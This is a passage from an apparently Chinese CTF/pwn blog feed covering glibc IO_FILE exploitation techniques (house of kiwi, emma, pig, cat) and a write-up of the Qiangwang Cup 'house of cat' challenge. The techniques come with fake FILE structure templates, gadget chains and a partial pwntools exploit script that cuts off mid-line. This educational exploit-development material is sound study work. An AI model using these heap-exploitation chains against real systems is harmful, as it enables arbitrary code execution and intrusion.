();&#125;</code></pre><p>该函数调用的<code>__fxprintf</code>、<code>fflush</code>都能调用虚表中函数，有劫持的可能。</p><p>以下是进入<code>__malloc_assert</code>的方法</p><pre><code class="c">assert ((old_top == initial_top (av) &amp;&amp; old_size == 0) ||        ((unsigned long) (old_size) &gt;= MINSIZE &amp;&amp;         prev_inuse (old_top) &amp;&amp;         ((unsigned long) old_end &amp; (pagesize - 1)) == 0));</code></pre><p>不满足以下条件任一即可进入：</p><ol><li><code>old_size &gt;=MINSIZE</code></li><li><code>old_top.pre_inuse = 0</code></li><li><code>old_top页对齐</code></li></ol><p>通常用的比较多的是第三种，因为页对齐条件较苛刻，通常修改topchunk的size都能不对齐。注意<strong>不能改的太大</strong>，否则会进入别的assert。这里修改的方式一般是构造<strong>堆重叠</strong>或<strong>largebin attack</strong></p><p>接下来讲函数的调用链，这里分<code>__fxprintf</code>和<code>fflush</code>两种方式</p><h4 id="fxprintf"><a href="#fxprintf" class="headerlink" title="__fxprintf"></a>__fxprintf</h4><p>调用链为</p><p><code>__fxprintf -&gt; __vfxprintf -&gt; locked_vfxprintf -&gt; __vfprintf_internal -&gt; _IO_new_file_xsputn </code></p><p>需要满足的条件为：</p><ol><li><code>_IO_write_ptr</code> &gt; <code>_IO_write_base</code></li><li><code>_lock</code>指向可写地址</li></ol><p>调用后，仅刷新<code>stderr</code>，调用虚表<code>_IO_file_jumps</code>中的<code>_IO_new_file_xsputn</code>，即<code>&lt;_IO_file_jumps+56&gt;</code></p><h4 id="fflush"><a href="#fflush" class="headerlink" title="fflush"></a>fflush</h4><p><code>fflush(stderr) =&gt; _IO_file_jumps =&gt; sync</code></p><p>用的比较少，没什么条件。但是因为在<code>__fxprinf</code>之后，所以需要保证<code>__fxprinf</code>不会挂掉。</p><p>好处是通过这条调用链，在调用<code>sync</code>时的<code>rdx</code>固定，都是<code>IO_helper_jumps</code>，可以结合后面讲到的<code>&lt;setcontext+61&gt;</code>利用。不过高版本中加入虚表检测，这种利用变得困难</p><h2 id="伪造FILE结构体"><a href="#伪造FILE结构体" class="headerlink" title="伪造FILE结构体"></a>伪造FILE结构体</h2><p>如何让我们伪造的FILE结构体在触发IO时被刷新？</p><p>如果使用<strong>FSOP</strong>的方式，程序从<code>_IO_list_all</code>开始沿着<code>fp -&gt; chain</code>遍历。故我们可以修改<code>_IO_list_all</code>指针，指向我们伪造的结构体，如果使用largebin attack就可以一步到位指向布置在chunk上的伪造结构体。同时还可以修改<code>_chain</code>指针，劫持到多个伪造的结构体的利用链</p><p>如果使用<strong>house of kiwi</strong>的方式，程序仅刷新<code>stderr</code>，可以修改<code>stderr</code>指针（如果可写），甚至直接修改<code>_IO_2_1_stderr</code>的内容</p><p>伪造FILE的手法繁多，这里举出最原始的一种手法作为例子</p><h3 id="上古时期的FSOP-Glibc"><a href="#上古时期的FSOP-Glibc" class="headerlink" title="上古时期的FSOP(Glibc&lt;2.24)"></a>上古时期的FSOP(Glibc&lt;2.24)</h3><p>因为触发FSOP时，会调用虚表中<code>&lt;_IO_file_jumps+24&gt;</code>处的<code>__overflow</code>函数，我们只需把该位置填入<code>system</code>的地址。当然，虚表不可写，我们可以将<code>vtable</code>处改为我们伪造的虚表。同时此时的<code>rdi</code>指向FILE结构体的<code>_flags</code>，所以可以将该位置填上<code>/bin/sh</code></p><p>构造方式如下：</p><pre><code class="c">._chain =&gt; chunk_addr1chunk_addr1&#123;  file = &#123;    _flags = &quot;/bin/sh\x00&quot;, //对应此结构体首地址(fp)    _IO_read_ptr = 0x0,    _IO_read_end = 0x0,    _IO_read_base = 0x0,    _IO_write_base = 0x0,    _IO_write_ptr = 0x1,      ...      _mode = 0x0, //一般不用特意设置      _unused2 = &#39;\000&#39; &lt;repeats 19 times&gt;  &#125;,  vtable = chunk_addr2&#125;chunk_addr2&#123;  __dummy = 0x0,  __dummy2 = 0x0,  __finish = 0x0,  __overflow = system_addr,    ...&#125;</code></pre><p>干净又卫生</p><h3 id="虚表偏移时代-Glibc-2-24"><a href="#虚表偏移时代-Glibc-2-24" class="headerlink" title="虚表偏移时代(Glibc&gt;&#x3D;2.24)"></a>虚表偏移时代(Glibc&gt;&#x3D;2.24)</h3><p>加入了对虚表的检查<code>IO_validate_vtable()</code>与<code>IO_vtable_check()</code>，若无法通过检查，则会报错：<code>Fatal error: glibc detected an invalid stdio handle</code></p><pre><code class="c">static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)&#123;  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;  const char *ptr = (const char *) vtable;  uintptr_t offset = ptr - __start___libc_IO_vtables;  if (__glibc_unlikely (offset &gt;= section_length)) //检查vtable指针是否在glibc的vtable段中。    _IO_vtable_check ();  return vtable;&#125;</code></pre><p>glibc中有一段完整的内存存放着各个<code>vtable</code>，其中<code>__start___libc_IO_vtables</code>指向第一个<code>vtable</code>地址<code>_IO_helper_jumps</code>，而<code>__stop___libc_IO_vtables</code>指向最后一个<code>vtable</code> <code>_IO_str_chk_jumps</code>结束的地址。若指针不在glibc的<code>vtable</code>段，会调用<code>_IO_vtable_check()</code>做进一步检查，以判断程序是否使用了外部合法的<code>vtable</code>（重构或是动态链接库中的<code>vtable</code>），如果不是则报错。</p><p>2.37以前有以下虚表</p><pre><code class="c">_IO_helper_jumps_IO_helper_jumps_IO_cookie_jumps_IO_proc_jumps_IO_str_chk_jumps_IO_wstrn_jumps_IO_wstr_jumps_IO_wfile_jumps_maybe_mmap_IO_wfile_jumps_mmap__GI__IO_wfile_jumps_IO_wmem_jumps_IO_mem_jumps_IO_strn_jumps_IO_obstack_jumps_IO_file_jumps_maybe_mmap_IO_file_jumps_mmap__GI__IO_file_jumps_IO_str_jumps</code></pre><p>从此，虚表指针不能随意伪造了。好在这个检测依旧比较宽泛，我们依旧可以修改<code>vtable</code>为虚表内的其他指针，通过一定的<strong>偏移</strong>调用<strong>其他虚表</strong>内的函数</p><p>例如，原本house of kiwi会触发<code>&lt;_IO_file_jumps+56&gt;</code>处的<code>_IO_new_file_xsputn</code>函数，我们希望调用<code>&lt;_IO_cookie_jumps+120&gt;</code>处的<code>_IO_cookie_write</code>函数。原本<code>vtable</code>指向<code>_IO_file_jumps</code>，调用函数时则会将指针加上56。我们把<code>vtable</code>设置为<code>&lt;_IO_cookie_jumps+64&gt;</code>，那么在实际调用时，就会调用到<code>&lt;_IO_cookie_jumps+64+56&gt;</code>处的目标函数。这就是<strong>虚表偏移</strong>的思想，将执行流劫持到已有的函数上。</p><h1 id="新时代的高版本IOFILE利用"><a href="#新时代的高版本IOFILE利用" class="headerlink" title="新时代的高版本IOFILE利用"></a>新时代的高版本IOFILE利用</h1><p>高版本下的IOFILE利用方式很多，但大多不外乎都是利用<strong>虚表偏移</strong>的思想伪造FILE结构体，并通过以上的方式<strong>触发IO</strong>，从而getshell或者orw</p><p>这里介绍几种<del>我会的</del>比较好用的</p><h2 id="house-of-kiwi"><a href="#house-of-kiwi" class="headerlink" title="house of kiwi"></a>house of kiwi</h2><p>相较于他的实战意义，kiwi更大的价值可能在于它的两条思路，一条是上文提到的<code>__malloc_assert</code>触发IO，另一条则是<code>setcontext&lt;+61&gt;</code></p><p>这是一个函数的片段，兼具<strong>布置寄存器、栈迁移</strong>的功能，常常在沙盒限制<code>execve</code>的情况下用来打<strong>orw链</strong>，汇编代码如下</p><pre><code class="assembly">0x00007fa70ef04a6d &lt;+61&gt;:    mov    rsp,QWORD PTR [rdx+0xa0]0x00007fa70ef04a74 &lt;+68&gt;:    mov    rbx,QWORD PTR [rdx+0x80]0x00007fa70ef04a7b &lt;+75&gt;:    mov    rbp,QWORD PTR [rdx+0x78]0x00007fa70ef04a7f &lt;+79&gt;:    mov    r12,QWORD PTR [rdx+0x48]0x00007fa70ef04a83 &lt;+83&gt;:    mov    r13,QWORD PTR [rdx+0x50]0x00007fa70ef04a87 &lt;+87&gt;:    mov    r14,QWORD PTR [rdx+0x58]0x00007fa70ef04a8b &lt;+91&gt;:    mov    r15,QWORD PTR [rdx+0x60]0x00007fa70ef04a8f &lt;+95&gt;:    test   DWORD PTR fs:0x48,0x20x00007fa70ef04a9b &lt;+107&gt;:   je     0x7fa70ef04b56 &lt;setcontext+294&gt;#基本上都能跳---&gt;0x00007fa70ef04b56 &lt;+294&gt;:   mov    rcx,QWORD PTR [rdx+0xa8]0x00007fa70ef04b5d &lt;+301&gt;:   push   rcx0x00007fa70ef04b5e &lt;+302&gt;:   mov    rsi,QWORD PTR [rdx+0x70]0x00007fa70ef04b62 &lt;+306&gt;:   mov    rdi,QWORD PTR [rdx+0x68]0x00007fa70ef04b66 &lt;+310&gt;:   mov    rcx,QWORD PTR [rdx+0x98]0x00007fa70ef04b6d &lt;+317&gt;:   mov    r8,QWORD PTR [rdx+0x28]0x00007fa70ef04b71 &lt;+321&gt;:   mov    r9,QWORD PTR [rdx+0x30]0x00007fa70ef04b75 &lt;+325&gt;:   mov    rdx,QWORD PTR [rdx+0x88]0x00007fa70ef04b7c &lt;+332&gt;:   xor    eax,eax0x00007fa70ef04b7e &lt;+334&gt;:   ret</code></pre><p>围绕<code>rdx</code>进行参数的布置，就能设置好各个寄存器</p><p>这里最重要的两条是</p><p><code>[rdx+0xa0]</code> &#x3D;&gt; <code>rsp</code></p><p><code>[rdx+0xa8]</code> &#x3D;&gt; <code>rcx</code> &#x3D;&gt; <code>ret</code></p><p>我们通常将<code>rcx</code>布置为<code>ret</code>的gadget，这样在最后<code>ret</code>的时候就能实现栈迁移到赋给<code>rsp</code>的地址上</p><h2 id="house-of-emma"><a href="#house-of-emma" class="headerlink" title="house of emma"></a>house of emma</h2><p>可以理解为kiwi衍生出的攻击手法，需要以下三个条件</p><ol><li><p>可以<strong>任意写</strong>一个可控地址（LargeBin Attack、Tcache Stashing Unlink Attack…）</p></li><li><p>一次<strong>任意地址读</strong> 或 再来一次<strong>任意写</strong></p></li><li><p>可以<strong>触发 IO 流</strong>（FSOP、house of kiwi）</p></li></ol><p>利用的虚表为<code>_IO_cookie_jumps</code>，存在拓展结构<code>_IO_cookie_file</code>（还是<code>_IO_FILE_plus</code>加长版），多了一个函数表，存在劫持的可能</p><pre><code class="c">/* Special file type for fopencookie function.  */struct _IO_cookie_file&#123;  struct _IO_FILE_plus __fp;  void *__cookie;  cookie_io_functions_t __io_functions;&#125;; typedef struct _IO_cookie_io_functions_t&#123;  cookie_read_function_t *read;        /* Read bytes.  */  cookie_write_function_t *write;    /* Write bytes.  */  cookie_seek_function_t *seek;        /* Seek/tell file position.  */  cookie_close_function_t *close;    /* Close file.  */&#125; cookie_io_functions_t;</code></pre><p>需要调用的虚表函数如下</p><pre><code class="c">static ssize_t_IO_cookie_read (FILE *fp, void *buf, ssize_t size)&#123;  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_read_function_t *read_cb = cfile-&gt;__io_functions.read;#ifdef PTR_DEMANGLE  PTR_DEMANGLE (read_cb);#endif   if (read_cb == NULL)    return -1;   return read_cb (cfile-&gt;__cookie, buf, size);&#125; static ssize_t_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)&#123;  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_write_function_t *write_cb = cfile-&gt;__io_functions.write;#ifdef PTR_DEMANGLE  PTR_DEMANGLE (write_cb);#endif   if (write_cb == NULL)    &#123;      fp-&gt;_flags |= _IO_ERR_SEEN;      return 0;    &#125;   ssize_t n = write_cb (cfile-&gt;__cookie, buf, size);  if (n &lt; size)    fp-&gt;_flags |= _IO_ERR_SEEN;   return n;&#125; static off64_t_IO_cookie_seek (FILE *fp, off64_t offset, int dir)&#123;  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_seek_function_t *seek_cb = cfile-&gt;__io_functions.seek;#ifdef PTR_DEMANGLE  PTR_DEMANGLE (seek_cb);#endif   return ((seek_cb == NULL       || (seek_cb (cfile-&gt;__cookie, &amp;offset, dir)           == -1)       || offset == (off64_t) -1)      ? _IO_pos_BAD : offset);&#125; static int_IO_cookie_close (FILE *fp)&#123;  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_close_function_t *close_cb = cfile-&gt;__io_functions.close;#ifdef PTR_DEMANGLE  PTR_DEMANGLE (close_cb);#endif   if (close_cb == NULL)    return 0;   return close_cb (cfile-&gt;__cookie);&#125;</code></pre><p>这里写了4个函数，其实大同小异，都调用了一个从<code>_IO_cookie_file</code>结构体的函数表中取出的函数指针，以<code>_IO_cookie_write</code>为例</p><pre><code class="c">static ssize_t_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)&#123;  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;  cookie_write_function_t *write_cb = cfile-&gt;__io_functions.write;//取出函数指针#ifdef PTR_DEMANGLE  PTR_DEMANGLE (write_cb);//指针保护#endif   if (write_cb == NULL)    &#123;      fp-&gt;_flags |= _IO_ERR_SEEN;      return 0;    &#125;   ssize_t n = write_cb (cfile-&gt;__cookie, buf, size);//调用函数  if (n &lt; size)    fp-&gt;_flags |= _IO_ERR_SEEN;   return n;&#125;</code></pre><p>所以我们只需伪造<code>_IO_cookie_file</code>结构体的函数表，就能调用任意函数。同时这里的<code>rdi</code>是可控的。如果要打getshell，可以直接构造；如果要打orw，可以利用libc中一个gadgets</p><pre><code class="assembly">mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];</code></pre><p>完成从可控<code>rdi</code>到可控<code>rdx</code>的转换</p><p>此外，<code>_IO_cookie_file</code>里的函数指针不能直接伪造，因为默认开启了PTR_DEMANGLE （指针保护）</p><pre><code class="c">extern uintptr_t __pointer_chk_guard attribute_relro;#  define PTR_MANGLE(var) \  (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)#  define PTR_DEMANGLE(var) PTR_MANGLE (var)</code></pre><p><code>__pointer_chk_guard</code>存在于TLS段上，将其ROR移位0x11后再与存入的地址进行异或</p><p><img src="/../img/IOFILE-exploit.assets/image-20230811213323111.png" alt="image-20230811213323111"></p><p><code>fs[0x30]</code>的值位于与libc相邻的ld空间中，这个位置距离libc地址的偏移固定，可能与本地patchelf后不一致，可以通过爆破得到。因为偏移的变化值往往在地址末尾的第四个、第五个数（末三位不变），可编写如下脚本</p><pre><code class="python">for x in range(0x10):    for y in range(0x10):        try:            libc_base = 0x1234            offset = 0x6 &lt;&lt; 20            offset += x &lt;&lt; 16            offset += y &lt;&lt; 12            ld_base = libc_base + offset            log.success(&quot;try offset:\t&quot; + hex(offset))            # your code            sh.interactive()        except EOFError:            sh.close()</code></pre><p>详细题解可以看<a href="https://deepunk42.github.io/2023/07/27/house-of-emma21%E6%B9%96%E6%B9%98%E6%9D%AF%E5%A4%8D%E7%8E%B0/">另一篇博客</a></p><h2 id="house-of-pig"><a href="#house-of-pig" class="headerlink" title="house of pig"></a>house of pig</h2><ul><li><p>用于程序中只有<code>calloc</code>而没有<code>malloc</code>的情况</p></li><li><p>通常需要<strong>一次largebin attack</strong>以完成tcache stashing unlink attack的准备</p></li><li><p>需要<strong>一次tcache stashing unlink attack</strong></p></li></ul><p>调用虚表<code>_IO_str_jumps</code> -&gt; <code>_IO_str_overflow</code>函数</p><pre><code class="c">int _IO_str_overflow (FILE *fp, int c)&#123;  int flush_only = c == EOF;  size_t pos;  if (fp-&gt;_flags &amp; _IO_NO_WRITES)      return flush_only ? 0 : EOF;  if ((fp-&gt;_flags &amp; _IO_TIED_PUT_GET) &amp;&amp; !(fp-&gt;_flags &amp; _IO_CURRENTLY_PUTTING))    &#123;      fp-&gt;_flags |= _IO_CURRENTLY_PUTTING;      fp-&gt;_IO_write_ptr = fp-&gt;_IO_read_ptr;      fp-&gt;_IO_read_ptr = fp-&gt;_IO_read_end;    &#125;  pos = fp-&gt;_IO_write_ptr - fp-&gt;_IO_write_base;  if (pos &gt;= (size_t) (_IO_blen (fp) + flush_only))    &#123;      if (fp-&gt;_flags &amp; _IO_USER_BUF) /* not allowed to enlarge */    return EOF;      else        &#123;          char *new_buf;          char *old_buf = fp-&gt;_IO_buf_base;          size_t old_blen = _IO_blen (fp);          size_t new_size = 2 * old_blen + 100;          if (new_size &lt; old_blen)            return EOF;          new_buf = malloc (new_size); // 1          if (new_buf == NULL)            &#123;              /*      __ferror(fp) = 1; */              return EOF;            &#125;          if (old_buf)            &#123;              memcpy (new_buf, old_buf, old_blen); // 2              free (old_buf); // 3              /* Make sure _IO_setb won&#39;t try to delete _IO_buf_base. */              fp-&gt;_IO_buf_base = NULL;            &#125;          memset (new_buf + old_blen, &#39;\0&#39;, new_size - old_blen); // 4           _IO_setb (fp, new_buf, new_buf + new_size, 1);          fp-&gt;_IO_read_base = new_buf + (fp-&gt;_IO_read_base - old_buf);          fp-&gt;_IO_read_ptr = new_buf + (fp-&gt;_IO_read_ptr - old_buf);          fp-&gt;_IO_read_end = new_buf + (fp-&gt;_IO_read_end - old_buf);          fp-&gt;_IO_write_ptr = new_buf + (fp-&gt;_IO_write_ptr - old_buf);           fp-&gt;_IO_write_base = new_buf;          fp-&gt;_IO_write_end = fp-&gt;_IO_buf_end;        &#125;    &#125;   if (!flush_only)    *fp-&gt;_IO_write_ptr++ = (unsigned char) c;  if (fp-&gt;_IO_write_ptr &gt; fp-&gt;_IO_read_end)    fp-&gt;_IO_read_end = fp-&gt;_IO_write_ptr;  return c;&#125;libc_hidden_def (_IO_str_overflow)</code></pre><blockquote><p>打tcache stashing没有<code>malloc</code>取不出chunk怎么办？</p><p>我有<code>_IO_str_overflow</code>！！！（自豪）</p></blockquote><p>这个函数中，完美达成<code>malloc</code>、<code>memcpy</code>、<code>free</code>一条龙服务</p><p>什么？你的版本太高打不了<code>free_hook</code>？</p><p>没关系，最后还有一个<code>memset</code>可以写libc中的got表</p><p>如果需要打orw，<code>rdx</code>也是可控的</p><p><img src="/../img/IOFILE-exploit.assets/image-20230811214840282.png" alt="image-20230811214840282"></p><p><code>&lt;+53&gt;mov rdx, QWORD PTR [rdi+0x28]</code></p><p><code>rdi</code>指向<code>_flags</code>，<code>rdi+0x28</code>指向<code>_IO_write_ptr</code>，可控</p><p>详细题解可以看<a href="https://deepunk42.github.io/2023/07/27/xctf2021finalhouseofpig%E5%A4%8D%E7%8E%B0/">另一篇博客</a></p><h2 id="house-of-cat"><a href="#house-of-cat" class="headerlink" title="house of cat"></a>house of cat</h2><p>只需要<strong>一次</strong>任意写！</p><p>调用虚表<code>_IO_wfile_jumps</code>中的<code>_IO_wfile_seekoff</code>函数</p><pre><code class="c">off64_t_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)&#123;  off64_t result;  off64_t delta, new_offset;  long int count;   if (mode == 0)    return do_ftell_wide (fp);  int must_be_exact = ((fp-&gt;_wide_data-&gt;_IO_read_base            == fp-&gt;_wide_data-&gt;_IO_read_end)               &amp;&amp; (fp-&gt;_wide_data-&gt;_IO_write_base               == fp-&gt;_wide_data-&gt;_IO_write_ptr));#需要绕过was_writing的检测  bool was_writing = ((fp-&gt;_wide_data-&gt;_IO_write_ptr               &gt; fp-&gt;_wide_data-&gt;_IO_write_base)              || _IO_in_put_mode (fp));   if (was_writing &amp;&amp; _IO_switch_to_wget_mode (fp))    return WEOF;......&#125;</code></pre><p>最终目的是调用<code>_IO_switch_to_wget_mode</code>函数</p><pre><code class="assembly">► 0x7fbbb9489d30 &lt;_IO_switch_to_wget_mode&gt;       endbr64  0x7fbbb9489d34 &lt;_IO_switch_to_wget_mode+4&gt;     mov    rax, qword ptr [rdi + 0xa0]  0x7fbbb9489d3b &lt;_IO_switch_to_wget_mode+11&gt;    push   rbx  0x7fbbb9489d3c &lt;_IO_switch_to_wget_mode+12&gt;    mov    rbx, rdi  0x7fbbb9489d3f &lt;_IO_switch_to_wget_mode+15&gt;    mov    rdx, qword ptr [rax + 0x20]  0x7fbbb9489d43 &lt;_IO_switch_to_wget_mode+19&gt;    cmp    rdx, qword ptr [rax + 0x18]  0x7fbbb9489d47 &lt;_IO_switch_to_wget_mode+23&gt;    jbe    _IO_switch_to_wget_mode+56                  0x7fbbb9489d49 &lt;_IO_switch_to_wget_mode+25&gt;    mov    rax, qword ptr [rax + 0xe0]  0x7fbbb9489d50 &lt;_IO_switch_to_wget_mode+32&gt;    mov    esi, 0xffffffff  0x7fbbb9489d55 &lt;_IO_switch_to_wget_mode+37&gt;    call   qword ptr [rax + 0x18]</code></pre><p>这里call了一个<code>rax</code>相关的地址，而<code>rax</code>由<code>rdi</code>决定</p><p>再说调用条件，需要满足两个</p><ol><li><p><code>was_writing == 1</code></p><p>即fp-&gt;<code>_wide_data</code>-&gt;<code>_IO_write_ptr</code>    &gt;  fp-&gt;<code>_wide_data</code>-&gt;<code>_IO_write_base</code></p><p>这里用到了前面提到的<code>_wide_data</code>跳表，可以直接伪造so easy</p></li><li><p><code>mode!=0</code></p><p><code>rcx</code>&#x3D;&gt;<code>mode</code></p><p>如果无法满足，可以再做一个FILE结构体，进入第二个结构体时就置好了，详细内容参考<a href="https://phot0n.com/2022/09/06/%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84%E5%A0%86%E5%88%A9%E7%94%A8%E4%B8%8EFSOP/">Photon的博客</a></p></li></ol><p>构造挺麻烦的，理解之后可以直接上别人的模板</p><pre><code class="c">fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址next_chain = 0fake_IO_FILE=p64(rdi)         #_flags=rdifake_IO_FILE+=p64(0)*7fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdxfake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)fake_IO_FILE = fake_IO_FILE.ljust(0x68, &#39;\x00&#39;)fake_IO_FILE += p64(0)  # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x88, &#39;\x00&#39;)fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable addressfake_IO_FILE = fake_IO_FILE.ljust(0xa0, &#39;\x00&#39;)fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addrfake_IO_FILE = fake_IO_FILE.ljust(0xc0, &#39;\x00&#39;)fake_IO_FILE += p64(1) #mode=1fake_IO_FILE = fake_IO_FILE.ljust(0xd8, &#39;\x00&#39;)fake_IO_FILE += p64(libcbase+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr</code></pre><p>详细题解可以看<a href="https://deepunk42.github.io/2023/07/27/house-of-cat/">另一篇博客</a></p>]]></content>
    
    
    <summary type="html">IOFILE阶段性学习成果汇报大会</summary>
    
    
    
    <category term="CS" scheme="http://deepunk.icu/categories/CS/"/>
    
    
    <category term="pwn" scheme="http://deepunk.icu/tags/pwn/"/>
    
    <category term="iofile" scheme="http://deepunk.icu/tags/iofile/"/>
    
  </entry>
  
  <entry>
    <title>house of cat 强网杯复现</title>
    <link href="http://deepunk.icu/house-of-cat/"/>
    <id>http://deepunk.icu/house-of-cat/</id>
    <published>2023-07-27T03:20:34.000Z</published>
    <updated>2026-05-27T12:52:23.538Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>最后一天的题，水水</p></blockquote><h2 id="逆向"><a href="#逆向" class="headerlink" title="逆向"></a>逆向</h2><h3 id="格式检查"><a href="#格式检查" class="headerlink" title="格式检查"></a>格式检查</h3><pre><code class="shell">LOGIN | r00t QWBQWXFadminCAT | r00t QWBQWXF$\xff</code></pre><h3 id="功能分析"><a href="#功能分析" class="headerlink" title="功能分析"></a>功能分析</h3><h4 id="add"><a href="#add" class="headerlink" title="add"></a>add</h4><p>index在0到15间</p><p>0x418&lt;&#x3D; size &lt;&#x3D;0x46f</p><p>使用calloc</p><h4 id="delet"><a href="#delet" class="headerlink" title="delet"></a>delet</h4><p>UAF</p><h4 id="show"><a href="#show" class="headerlink" title="show"></a>show</h4><p>write 0x30</p><h4 id="edit"><a href="#edit" class="headerlink" title="edit"></a>edit</h4><p>限制2次</p><p>每次只能修改<strong>0x30</strong></p><h2 id="攻击流程分析"><a href="#攻击流程分析" class="headerlink" title="攻击流程分析"></a>攻击流程分析</h2><p>由于不存在对exit的调用，且在main函数中无限循环，故无法进行FSOP</p><p>可以采用house of kiwi的触发IO思路，利用<code>__malloc_assert</code>调用<code>fflush(stderr)</code>或者<code>__fxprintf</code></p><p>所以需要攻击位于stderr上的指针，恰好本题该地址可写，这里使用一次largebin attack</p><p>另外，要触发<code>__malloc_assert</code>，需要修改topchunk的size</p><p>本题由于edit有长度限制，不方便使用之前构造堆重叠的方式，所以这里可以用第二次largebin attack攻击size</p><p>恰好共有两次edit机会，刚好用完e</p><p>另外，攻击top size时要注意，在将第二个chunk加入largebin时，不能改变top chunk的位置。也就是说，不能通过分配一个更大chunk的方式来得到第二个largechunk</p><p>这是因为对largebin进行unlink的操作在从topchunk分配chunk之前，此时修改过的size会被新的size覆盖掉。</p><p>所以这一步入largebin的操作，可以通过分配更小的chunk获得</p><p><img src="/../img/house-of-cat.assets/image-20230726120735530.png" alt="image-20230726120735530"></p><p>开了沙箱，禁用了execve，并检查read的fd是否为0</p><p>故只能打orw, 并且在open前需要先close(0)</p><h2 id="堆风水"><a href="#堆风水" class="headerlink" title="堆风水"></a>堆风水</h2><p>需要达到的效果是：两次largebin attack，分别使stderr指向可控内容的堆块、修改topchunk</p><p>看似比较简单，但需注意edit只能修改0x30，且只有两次机会</p><p>所以对伪造结构体内容的写入需要在add操作进行，入largebin之后对前6个地址会有覆盖，实测下来对IO利用没有影响</p><h2 id="IO利用流程分析"><a href="#IO利用流程分析" class="headerlink" title="IO利用流程分析"></a>IO利用流程分析</h2><p>_wide_data&#x3D;fake_io_addr+0x30</p><p>1.将[rdi+0xa0]<code>_wide_data</code>处的内容赋值给rax，为了避免与下面的rax混淆，称之为<strong>rax1</strong>。<br>2.将新赋值的[rax1+0x20]<code>_IO_backup_base</code>处的内容赋值给rdx。<br>3.将[rax1+0xe0]</p><p>处的内容赋值给rax，称之为<strong>rax2</strong>。<br>4.call调用[rax2+0x18]处的内容。</p><pre><code class="c">_wide_data-&gt;_IO_read_ptr ！=_wide_data-&gt;_IO_read_end_wide_data-&gt;_IO_write_ptr &gt; _wide_data-&gt;_IO_write_base#如果_wide_data=fake_io_addr+0x30，其实也就是fp-&gt;_IO_save_base &lt; f-&gt;_IO_backup_basefp-&gt;_lock是一个可写地址（堆地址、libc中的可写地址</code></pre><pre><code class="python">#!/usr/bin/env python2# -*- coding: utf-8 -*-from pwn import*context(os = &#39;linux&#39;, arch = &#39;amd64&#39;, log_level = &#39;debug&#39;, terminal = [&#39;tmux&#39;, &#39;new-window&#39;])def debug(cmd=&#39;&#39;):    cmd += &quot;b main\n&quot;    gdb.attach(p, cmd)    pause()host = &quot;&quot;port = 0p = process(&quot;./pwn&quot;)#p = remote(host, port)libc = ELF(&quot;./libc.so.6&quot;)login = &quot;LOGIN | r00t QWB QWXFadmin&quot;cat = &quot;CAT | r00t QWB QWXF$\xff&quot;def add(index, size, content):    p.sendafter(&quot;mew~~~~~~\n&quot;, cat)    p.sendlineafter(&quot;cat\n&quot;, &quot;1&quot;)    p.sendlineafter(&quot;idx:\n&quot;,str(index).encode())    p.sendlineafter(&quot;size:\n&quot;,str(size).encode())    p.sendafter(&quot;content:\n&quot;,content)def delete(index):    p.sendafter(&quot;mew~~~~~~\n&quot;, cat)    p.sendlineafter(&quot;cat\n&quot;, &quot;2&quot;)    p.sendlineafter(&quot;idx:\n&quot;,str(index).encode())def show(index):    p.sendafter(&quot;mew~~~~~~\n&quot;, cat)    p.sendlineafter(&quot;cat\n&quot;, &quot;3&quot;)    p.sendlineafter(&quot;idx:\n&quot;,str(index).encode())def edit(index, content):    p.sendafter(&quot;mew~~~~~~\n&quot;, cat)    p.sendlineafter(&quot;cat\n&quot;, &quot;4&quot;)    p.sendlineafter(&quot;idx:\n&quot;,str(index).encode())    p.sendafter(&quot;content:\n&quot;,content)p.send(login)add(0, 0x420, cyclic(0x420))#largechunk 0add(1, 0x440, cyclic(0x440))delete(0)add(2, 0x450, cyclic(0x450))show(0)#leak largechunklibc_base = u64(p.recvuntil(&quot;\x7f&quot;)[-6:].ljust(8,&quot;\x00&quot;))-0x21a0d0stderr_addr = libc_base + 0x21a860setcontext61 = libc_base + 0x53a6dp.recvuntil(&quot;\x7f\x00\x00&quot;)heap_base = u64(p.recvn(6).ljust(8,b&quot;\x00&quot;))-0x290log.success(&quot;libc_base = &#123;&#125;&quot;.format(hex(libc_base)))log.success(&quot;heap0_base = &#123;&#125;&quot;.format(hex(heap_base)))log.success(&quot;stderr_addr = &#123;&#125;&quot;.format(hex(stderr_addr)))ret = 0x0000000000029cd6+libc_basepop_rdi = 0x000000000002a3e5+libc_basepop_rsi = 0x000000000002be51+libc_basepop_rax = 0x0000000000045eb0 + libc_basesyscall = 0x0000000000091396 + libc_base# debug()#fake stderr----------------------------------------fake_stderr = heap_base + 0xf70fake_rdx = fake_stderr + 0x10 + 0x200fake_stack = fake_stderr + 0x10 + 0x320io = p64(0)*6io += p64(1) + p64(2)#rcx!=0io += p64(fake_rdx)#backup_base rdxio += p64(setcontext61)io = io.ljust(0x78, &#39;\x00&#39;)io += p64(libc_base+0x21ba60)#lockio = io.ljust(0x90, &#39;\x00&#39;)io += p64(fake_stderr+0x30)#wide_data rax1io = io.ljust(0xb0, &#39;\x00&#39;)io += p64(1)#modeio = io.ljust(0xc8, &#39;\x00&#39;)io += p64(libc_base+libc.sym[&#39;_IO_wfile_jumps&#39;]+0x10)io += 